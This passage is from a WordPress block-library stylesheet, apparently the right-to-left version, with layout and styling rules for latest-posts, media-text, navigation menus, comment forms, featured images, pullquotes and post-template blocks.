}
.wp-block-latest-posts.wp-block-latest-posts__list li{
  clear:both;
  overflow-wrap:break-word;
}
.wp-block-latest-posts.is-grid{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-latest-posts.is-grid li{
  margin:0 0 1.25em 1.25em;
  width:100%;
}
@media (min-width:600px){
  .wp-block-latest-posts.columns-2 li{
    width:calc(50% - .625em);
  }
  .wp-block-latest-posts.columns-2 li:nth-child(2n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-3 li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-latest-posts.columns-3 li:nth-child(3n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-4 li{
    width:calc(25% - .9375em);
  }
  .wp-block-latest-posts.columns-4 li:nth-child(4n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-5 li{
    width:calc(20% - 1em);
  }
  .wp-block-latest-posts.columns-5 li:nth-child(5n){
    margin-left:0;
  }
  .wp-block-latest-posts.columns-6 li{
    width:calc(16.66667% - 1.04167em);
  }
  .wp-block-latest-posts.columns-6 li:nth-child(6n){
    margin-left:0;
  }
}

:root :where(.wp-block-latest-posts.is-grid){
  padding:0;
}
:root :where(.wp-block-latest-posts.wp-block-latest-posts__list){
  padding-right:0;
}

.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{
  display:block;
  font-size:.8125em;
}

.wp-block-latest-posts__post-excerpt,.wp-block-latest-posts__post-full-content{
  margin-bottom:1em;
  margin-top:.5em;
}

.wp-block-latest-posts__featured-image a{
  display:inline-block;
}
.wp-block-latest-posts__featured-image img{
  height:auto;
  max-width:100%;
  width:auto;
}
.wp-block-latest-posts__featured-image.alignleft{
  float:left;
  margin-right:1em;
}
.wp-block-latest-posts__featured-image.alignright{
  float:right;
  margin-left:1em;
}
.wp-block-latest-posts__featured-image.aligncenter{
  margin-bottom:1em;
  text-align:center;
}

ol,ul{
  box-sizing:border-box;
}

:root :where(.wp-block-list.has-background){
  padding:1.25em 2.375em;
}

.wp-block-loginout,.wp-block-media-text{
  box-sizing:border-box;
}

.wp-block-media-text{
  direction:ltr;
  display:grid;
  grid-template-columns:50% 1fr;
  grid-template-rows:auto;
}
.wp-block-media-text.has-media-on-the-right{
  grid-template-columns:1fr 50%;
}

.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{
  align-self:start;
}

.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{
  align-self:center;
}

.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text>.wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text>.wp-block-media-text__content{
  direction:rtl;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media a{
  display:block;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}
.wp-block-media-text.is-image-fill>.wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{
  height:100%;
  min-height:250px;
  position:relative;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{
  height:100%;
  object-fit:cover;
  position:absolute;
  width:100%;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}
.wp-block-navigation{
  position:relative;
  --navigation-layout-justification-setting:flex-start;
  --navigation-layout-direction:row;
  --navigation-layout-wrap:wrap;
  --navigation-layout-justify:flex-start;
  --navigation-layout-align:center;
}
.wp-block-navigation ul{
  margin-bottom:0;
  margin-right:0;
  margin-top:0;
  padding-right:0;
}
.wp-block-navigation ul,.wp-block-navigation ul li{
  list-style:none;
  padding:0;
}
.wp-block-navigation .wp-block-navigation-item{
  align-items:center;
  display:flex;
  position:relative;
}
.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{
  display:none;
}
.wp-block-navigation .wp-block-navigation-item__content{
  display:block;
}
.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{
  color:inherit;
}
.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{
  text-decoration:underline;
}
.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{
  text-decoration:line-through;
}
.wp-block-navigation :where(a),.wp-block-navigation :where(a:active),.wp-block-navigation :where(a:focus){
  text-decoration:none;
}
.wp-block-navigation .wp-block-navigation__submenu-icon{
  align-self:center;
  background-color:inherit;
  border:none;
  color:currentColor;
  display:inline-block;
  font-size:inherit;
  height:.6em;
  line-height:0;
  margin-right:.25em;
  padding:0;
  width:.6em;
}
.wp-block-navigation .wp-block-navigation__submenu-icon svg{
  display:inline-block;
  stroke:currentColor;
  height:inherit;
  margin-top:.075em;
  width:inherit;
}
.wp-block-navigation.is-vertical{
  --navigation-layout-direction:column;
  --navigation-layout-justify:initial;
  --navigation-layout-align:flex-start;
}
.wp-block-navigation.no-wrap{
  --navigation-layout-wrap:nowrap;
}
.wp-block-navigation.items-justified-center{
  --navigation-layout-justification-setting:center;
  --navigation-layout-justify:center;
}
.wp-block-navigation.items-justified-center.is-vertical{
  --navigation-layout-align:center;
}
.wp-block-navigation.items-justified-right{
  --navigation-layout-justification-setting:flex-end;
  --navigation-layout-justify:flex-end;
}
.wp-block-navigation.items-justified-right.is-vertical{
  --navigation-layout-align:flex-end;
}
.wp-block-navigation.items-justified-space-between{
  --navigation-layout-justification-setting:space-between;
  --navigation-layout-justify:space-between;
}

.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  align-items:normal;
  background-color:inherit;
  color:inherit;
  display:flex;
  flex-direction:column;
  height:0;
  opacity:0;
  overflow:hidden;
  position:absolute;
  right:-1px;
  top:100%;
  visibility:hidden;
  width:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container{
    transition:opacity .1s linear;
  }
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{
  display:flex;
  flex-grow:1;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{
  margin-left:0;
  margin-right:auto;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{
  margin:0;
}
@media (min-width:782px){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:-1px;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    left:100%;
    position:absolute;
    width:.5em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{
    margin-left:.25em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{
    transform:rotate(90deg);
  }
}
.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:visible;
  visibility:visible;
  width:auto;
}

.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{
  right:0;
  top:100%;
}
@media (min-width:782px){
  .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:0;
  }
}

.wp-block-navigation-submenu{
  display:flex;
  position:relative;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{
  stroke:currentColor;
}

button.wp-block-navigation-item__content{
  background-color:initial;
  border:none;
  color:currentColor;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-align:right;
  text-transform:inherit;
}

.wp-block-navigation-submenu__toggle{
  cursor:pointer;
}

.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{
  padding-left:.85em;
  padding-right:0;
}
.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{
  margin-right:-.6em;
  pointer-events:none;
}

.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){
  padding:0;
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{
  gap:inherit;
}
:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){
  padding:.5em 1em;
}

:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){
  padding:.5em 1em;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{
  left:0;
  right:auto;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
  left:-1px;
  right:-1px;
}
@media (min-width:782px){
  .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    right:auto;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{
  background-color:#fff;
  border:1px solid #00000026;
}

.wp-block-navigation.has-background .wp-block-navigation__submenu-container{
  background-color:inherit;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{
  color:#000;
}

.wp-block-navigation__container{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
  list-style:none;
  margin:0;
  padding-right:0;
}
.wp-block-navigation__container .is-responsive{
  display:none;
}

.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{
  flex-grow:1;
}
@keyframes overlay-menu__fade-in-animation{
  0%{
    opacity:0;
    transform:translateY(.5em);
  }
  to{
    opacity:1;
    transform:translateY(0);
  }
}
.wp-block-navigation__responsive-container{
  bottom:0;
  display:none;
  left:0;
  position:fixed;
  right:0;
  top:0;
}
.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){
  color:inherit;
}
.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){
  background-color:inherit !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open{
  background-color:inherit;
  display:flex;
  flex-direction:column;
  overflow:auto;
  padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20rem) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem);
  z-index:100000;
}
@media not (prefers-reduced-motion){
  .wp-block-navigation__responsive-container.is-menu-open{
    animation:overlay-menu__fade-in-animation .1s ease-out;
    animation-fill-mode:forwards;
  }
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-justification-setting, inherit);
  display:flex;
  flex-direction:column;
  flex-wrap:nowrap;
  overflow:visible;
  padding-top:calc(2rem + 24px);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  justify-content:flex-start;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{
  display:none;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{
  border:none;
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:initial;
  padding-left:2rem;
  padding-right:2rem;
  position:static;
  visibility:visible;
  width:auto;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  gap:inherit;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  padding-top:var(--wp--style--block-gap, 2em);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{
  padding:0;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  align-items:var(--navigation-layout-justification-setting, initial);
  display:flex;
  flex-direction:column;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{
  background:#0000 !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
  left:auto;
  right:auto;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){
    background-color:inherit;
    display:block;
    position:relative;
    width:100%;
    z-index:auto;
  }
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{
    display:none;
  }
  .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
    right:0;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{
  background-color:#fff;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{
  color:#000;
}

.wp-block-navigation__toggle_button_label{
  font-size:1rem;
  font-weight:700;
}

.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{
  background:#0000;
  border:none;
  color:currentColor;
  cursor:pointer;
  margin:0;
  padding:0;
  text-transform:inherit;
  vertical-align:middle;
}
.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{
  fill:currentColor;
  display:block;
  height:24px;
  pointer-events:none;
  width:24px;
}

.wp-block-navigation__responsive-container-open{
  display:flex;
}
.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container-open:not(.always-shown){
    display:none;
  }
}

.wp-block-navigation__responsive-container-close{
  left:0;
  position:absolute;
  top:0;
  z-index:2;
}
.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}

.wp-block-navigation__responsive-close{
  width:100%;
}
.has-modal-open .wp-block-navigation__responsive-close{
  margin-left:auto;
  margin-right:auto;
  max-width:var(--wp--style--global--wide-size, 100%);
}
.wp-block-navigation__responsive-close:focus{
  outline:none;
}

.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{
  box-sizing:border-box;
}

.wp-block-navigation__responsive-dialog{
  position:relative;
}

.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
  margin-top:46px;
}
@media (min-width:782px){
  .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
    margin-top:32px;
  }
}

html.has-modal-open{
  overflow:hidden;
}

.wp-block-navigation .wp-block-navigation-item__label{
  overflow-wrap:break-word;
}
.wp-block-navigation .wp-block-navigation-item__description{
  display:none;
}

.link-ui-tools{
  border-top:1px solid #f0f0f0;
  padding:8px;
}

.link-ui-block-inserter{
  padding-top:8px;
}

.link-ui-block-inserter__back{
  margin-right:8px;
  text-transform:uppercase;
}

.wp-block-navigation .wp-block-page-list{
  align-items:var(--navigation-layout-align, initial);
  background-color:inherit;
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation .wp-block-navigation-item{
  background-color:inherit;
}

.wp-block-page-list{
  box-sizing:border-box;
}

.is-small-text{
  font-size:.875em;
}

.is-regular-text{
  font-size:1em;
}

.is-large-text{
  font-size:2.25em;
}

.is-larger-text{
  font-size:3em;
}

.has-drop-cap:not(:focus):first-letter{
  float:right;
  font-size:8.4em;
  font-style:normal;
  font-weight:100;
  line-height:.68;
  margin:.05em 0 0 .1em;
  text-transform:uppercase;
}

body.rtl .has-drop-cap:not(:focus):first-letter{
  float:none;
  margin-right:.1em;
}

p.has-drop-cap.has-background{
  overflow:hidden;
}

:root :where(p.has-background){
  padding:1.25em 2.375em;
}

:where(p.has-text-color:not(.has-link-color)) a{
  color:inherit;
}

p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-author{
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-left:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}

.wp-block-post-author-biography{
  box-sizing:border-box;
}

:where(.wp-block-post-comments-form) input:not([type=submit]),:where(.wp-block-post-comments-form) textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
:where(.wp-block-post-comments-form) input:where(:not([type=submit]):not([type=checkbox])),:where(.wp-block-post-comments-form) textarea{
  padding:calc(.667em + 2px);
}

.wp-block-post-comments-form{
  box-sizing:border-box;
}
.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){
  font-weight:inherit;
}
.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){
  font-family:inherit;
}
.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){
  font-size:inherit;
}
.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){
  line-height:inherit;
}
.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){
  font-style:inherit;
}
.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){
  letter-spacing:inherit;
}
.wp-block-post-comments-form :where(input[type=submit]){
  box-shadow:none;
  cursor:pointer;
  display:inline-block;
  overflow-wrap:break-word;
  text-align:center;
}
.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments-form .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments-form .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}

.wp-block-post-comments-count{
  box-sizing:border-box;
}

.wp-block-post-content{
  display:flow-root;
}

.wp-block-post-comments-link,.wp-block-post-date{
  box-sizing:border-box;
}

:where(.wp-block-post-excerpt){
  box-sizing:border-box;
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__excerpt{
  margin-bottom:0;
  margin-top:0;
}

.wp-block-post-excerpt__more-text{
  margin-bottom:0;
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__more-link{
  display:inline-block;
}

.wp-block-post-featured-image{
  margin-left:0;
  margin-right:0;
}
.wp-block-post-featured-image a{
  display:block;
  height:100%;
}
.wp-block-post-featured-image :where(img){
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
  width:100%;
}
.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{
  width:100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{
  background-color:#000;
  inset:0;
  position:absolute;
}
.wp-block-post-featured-image{
  position:relative;
}

.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{
  background-color:initial;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{
  opacity:0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{
  opacity:.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{
  opacity:.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{
  opacity:.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{
  opacity:.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{
  opacity:.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{
  opacity:.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{
  opacity:.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{
  opacity:.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{
  opacity:.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{
  opacity:1;
}
.wp-block-post-featured-image:where(.alignleft,.alignright){
  width:100%;
}

.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){
  transform:scaleX(-1);;
}
.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-terms{
  box-sizing:border-box;
}
.wp-block-post-terms .wp-block-post-terms__separator{
  white-space:pre-wrap;
}

.wp-block-post-time-to-read,.wp-block-post-title{
  box-sizing:border-box;
}

.wp-block-post-title{
  word-break:break-word;
}
.wp-block-post-title :where(a){
  display:inline-block;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-decoration:inherit;
}

.wp-block-post-author-name,.wp-block-preformatted{
  box-sizing:border-box;
}

.wp-block-preformatted{
  white-space:pre-wrap;
}

:where(.wp-block-preformatted.has-background){
  padding:1.25em 2.375em;
}

.wp-block-pullquote{
  box-sizing:border-box;
  margin:0 0 1em;
  overflow-wrap:break-word;
  padding:4em 0;
  text-align:center;
}
.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{
  color:inherit;
}
.wp-block-pullquote blockquote{
  margin:0;
}
.wp-block-pullquote p{
  margin-top:0;
}
.wp-block-pullquote p:last-child{
  margin-bottom:0;
}
.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{
  max-width:420px;
}
.wp-block-pullquote cite,.wp-block-pullquote footer{
  position:relative;
}
.wp-block-pullquote .has-text-color a{
  color:inherit;
}

.wp-block-pullquote.has-text-align-left blockquote{
  text-align:right;
}

.wp-block-pullquote.has-text-align-right blockquote{
  text-align:left;
}

.wp-block-pullquote.has-text-align-center blockquote{
  text-align:center;
}

.wp-block-pullquote.is-style-solid-color{
  border:none;
}
.wp-block-pullquote.is-style-solid-color blockquote{
  margin-left:auto;
  margin-right:auto;
  max-width:60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:2em;
  margin-bottom:0;
  margin-top:0;
}
.wp-block-pullquote.is-style-solid-color blockquote cite{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote cite{
  color:inherit;
  display:block;
}

.wp-block-post-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:left;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:right;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}

